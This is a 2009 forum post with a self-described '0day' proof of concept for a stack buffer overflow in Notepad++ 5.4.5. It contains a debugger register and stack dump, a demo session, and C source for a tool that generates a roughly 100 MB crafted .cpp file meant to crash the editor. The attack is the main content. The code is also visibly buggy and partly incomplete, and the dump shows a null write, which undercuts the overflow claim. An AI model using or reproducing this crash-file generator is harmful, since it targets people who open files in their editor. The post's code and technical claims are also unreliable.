fl0 fl0w Posted September 16, 2009 Report Posted September 16, 2009 Asta e important si pentru voi./*************************************************************** (0day)Notepad++ 5.4.5 Local .C/CPP Stack Buffer Overflow POC* by fl0 fl0w * ************************************************************** *//*****************************************************************************************************LATEST FIXES * Notepad++ v5.4.5 fixed bugs (from v5.4.4) : *1. Fix plugins shortcuts not working bug. *2. Fix the tooltip on toolbar display bug for the plugins icons. *3. Fix a crash that was occurring when searching in files from a deep path. *4. Fix a crash issue (Unicode binary) while close Notepad++ with an RC file opened under Chinese Xp.* 5. Fix Pascal and Scheme syntax highlighting problem (fixes in styles.xml). * 6. Add SQL folding capacity. * *******************************************************************************************************//***************************************************************************This is the latest version of notepad++. * As you can see no buffer overflow bug is mentioned to exist or to be fixed.******************************************************************************//***********************************************************DEBUGGING INFORMATION * CPU REGISTERS *EAX 00000000 *ECX 003B74C4 *EDX 00000000 *EBX 0999A999 *ESP 000E0764 *EBP 000E0834 *ESI 00B3D760 *EDI 003B74B0 *EIP 1000A258 SciLexer.1000A258 * *Function SciLexer() is causing this bug. *Let's look at the assembly instructions: * *ASSEMBLY INSTRUCTIONS *1000A258 8910 MOV DWORD PTR DS:[EAX],EDX *1000A25A 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] *1000A25D 8B80 60090000 MOV EAX,DWORD PTR DS:[EAX+960] *1000A263 8B80 B0010000 MOV EAX,DWORD PTR DS:[EAX+1B0] *1000A269 0FAF81 24060000 IMUL EAX,DWORD PTR DS:[ECX+624]*1000A270 2055 FF AND BYTE PTR SS:[EBP-1],DL * 1000A273 8945 C0 MOV DWORD PTR SS:[EBP-40],EAX *1000A276 8B41 10 MOV EAX,DWORD PTR DS:[ECX+10] *1000A279 05 6C0B0000 ADD EAX,0B6C * 1000A27E 8945 CC MOV DWORD PTR SS:[EBP-34],EAX *1000A281 33C0 XOR EAX,EAX *1000A283 6A 1F PUSH 1F *1000A285 59 POP ECX * *EDX=00000000 *DS:[00000000]=??? **************************************************************//*************************************************************STACK * 000BFEB4 004956A0 notepad+.004956A0 *000BFEB8 F74B257B *000BFEBC FFFFFFFE *000BFEC0 58585858 *000BFEC4 58585858 *000BFEC8 58585858q *000BFECC 58585858 *000BFED0 58585858 *000BFED4 58585858 *000BFED8 58585858 *000BFEDC 58585858 *000BFEE0 58585858 *000BFEE4 58585858 *000BFEE8 58585858 *000BFEEC 58585858 * 000BFEF4 58585858 *000BFEF8 58585858 *000BFEFC 58585858 *000BFF00 58585858 *000BFF04 58585858 * 000BFF0C 58585858 *000BFF10 58585858 *….................................. *Tested succesfull on Microsoft Windows XP Service Pack 3. * To test the exploit(notepad++.c) you need to compile it *with cygwin console or linux environment. *If you want to test the executable(test.exe)you need to *copy the cygwin1.dll in the same folder as the executable. *Notepad++ 5.4.5 crashes in a STACK BUFFER OVERFLOW when a *specialy crafted .C/CPP file is opened.You can right click *the file and select ->edit with notepad++ or just click open.* Compiled with cygwin console *For more debugging info (screenshots) *Download the files from *RapidShare: 1-CLICK Web hosting - Easy Filehosting *2shared - download notepad++ POC.zip Download notepad++ POC.zip * Download notepad++ POC zip GigaSize.com: Host and Share your Files * **************************************************************//*****************************************************************************************************************************DEMO * I'm in the cygwin console *$gcc notepad++.c -o notepad * *Now I want to run the .exe from *CMD console so I copy the cygwin1.dll *in my folder and run it. * * C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir * Volume in drive C is System * Volume Serial Number is A06E-304B * * Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC * *2009/09/16 01:13 PM <DIR> . *2009/09/16 01:13 PM <DIR> .. *2008/06/12 08:35 PM 1,872,884 cygwin1.dll *2009/09/14 03:09 PM 100,004,279 fffile.cpp *2009/09/16 01:13 PM 18,042 note.exe *2009/09/14 01:05 AM 12,317 NOTEPAD++ PLEASE READ.odt *2009/09/16 01:11 PM 36,923 notepad++.c *2009/09/11 01:40 PM 192,747 screen1.JPG *2009/09/11 01:44 PM 224,376 screen2.JPG *2009/09/12 08:37 PM 443,304 screen3.JPG * 8 File(s) 102,804,872 bytes * 2 Dir(s) 4,864,954,368 bytes free * * C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe * ************************************************* *Notepad++ 5.4.5 Stack Buffer Overflow *Usage is:note [option1] filename *CREDITS:fl0 fl0w *This POC is PRIVATE ************************************************** *Example: * * -f FILE.c/cpp * *C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe -f test.cpp *FILE DONE ! *path/location of the crafted file is: /cygdrive/c/Documents and Settings/Stefan/ *Desktop/notepad++ POC/ * *C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir * Volume in drive C is System * Volume Serial Number is A06E-304B * * Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC * *2009/09/16 01:18 PM <DIR> . *2009/09/16 01:18 PM <DIR> .. *2008/06/12 08:35 PM 1,872,884 cygwin1.dll *2009/09/14 03:09 PM 100,004,279 fffile.cpp *2009/09/16 01:13 PM 18,042 note.exe *2009/09/14 01:05 AM 12,317 NOTEPAD++ PLEASE READ.odt *2009/09/16 01:11 PM 36,923 notepad++.c *2009/09/11 01:40 PM 192,747 screen1.JPG *2009/09/11 01:44 PM 224,376 screen2.JPG *2009/09/12 08:37 PM 443,304 screen3.JPG *2009/09/16 01:18 PM 100,004,279 test.cpp <--------------------------here you go now open it with notepad++ 5.4.5 * 9 File(s) 202,809,151 bytes * 2 Dir(s) 4,746,797,056 bytes free ******************************************************************************************************************************* */ #include "stdio.h" #include "string.h" #include "windows.h" #include "getopt.h" #include "stdint.h" #include <fcntl.h> #include <io.h> #define R 0x10 #define RR 0x1F #define SS 0x80 void CLS(int num_lines) { int n; for(n = 0; n < num_lines; n++) puts(""); } char checksum(char data[10000], char len) { uint32_t sum1 = 0xffff, sum2 = 0xffff; while (len) { unsigned tlen = len > 360 ? 360 : len; len -= tlen; do { sum1 += *data++; sum2 += sum1; } while (--tlen); sum1 = (sum1 & 0xffff) + (sum1 >> 16); sum2 = (sum2 & 0xffff) + (sum2 >> 16); } sum1 = (sum1 & 0xffff) + (sum1 >> 16); sum2 = (sum2 & 0xffff) + (sum2 >> 16); return sum2 << 16 | sum1; } void Buildfile(char *fname) { char V[] = { 0x20, 0x20, 0x20, 0x20, 0x23, 0x69, 0x6E, 0x63, 0x6C, 0x75, 0x64, 0x65, 0x20, 0x3C, 0x73, 0x74, 0x64, 0x69, 0x6F, 0x2E, 0x68, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 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i; for(i = 0; i < S; i++) { fwrite(b, sizeof(char), STRING_SIZE, f); } fwrite(V, sizeof(char), strlen(V), f); checksum(b, STRING_SIZE); char c[100]; get_executable_path (c, 100); printf("FILE DONE !\n"); printf("path/location of the crafted file is: %s\n", c); fclose(f); } void args(int argc, char *argv[]) { int file; int a; if(a) while((a = getopt(argc, argv, "f")) != EOF) { switch(a) { case 'f': file = (int)optarg; break; default: exit(-1); } } } void Usage(char *argv[]) { printf("*************************************************\n"); printf("Notepad++ 5.4.5 Stack Buffer Overflow\n"); printf("Usage is:%s [option1] filename\n", argv[0]); printf("CREDITS:fl0 fl0w\n"); printf("This POC is PRIVATE\n"); printf("*************************************************\n"); } void Menu(char *argv[]) { fprintf(stderr, "\n" "\t-f FILE.c/cpp\n" "\n" , argv[0]); exit(-1); } int main(int argc, char *argv[]) { CLS(15); if(argc < 2) { Usage(argv); printf("Example:\n"); Menu(argv[0]); Usage(argv); } args(argc, argv); Buildfile(argv[2]); return 0; } 1 Quote
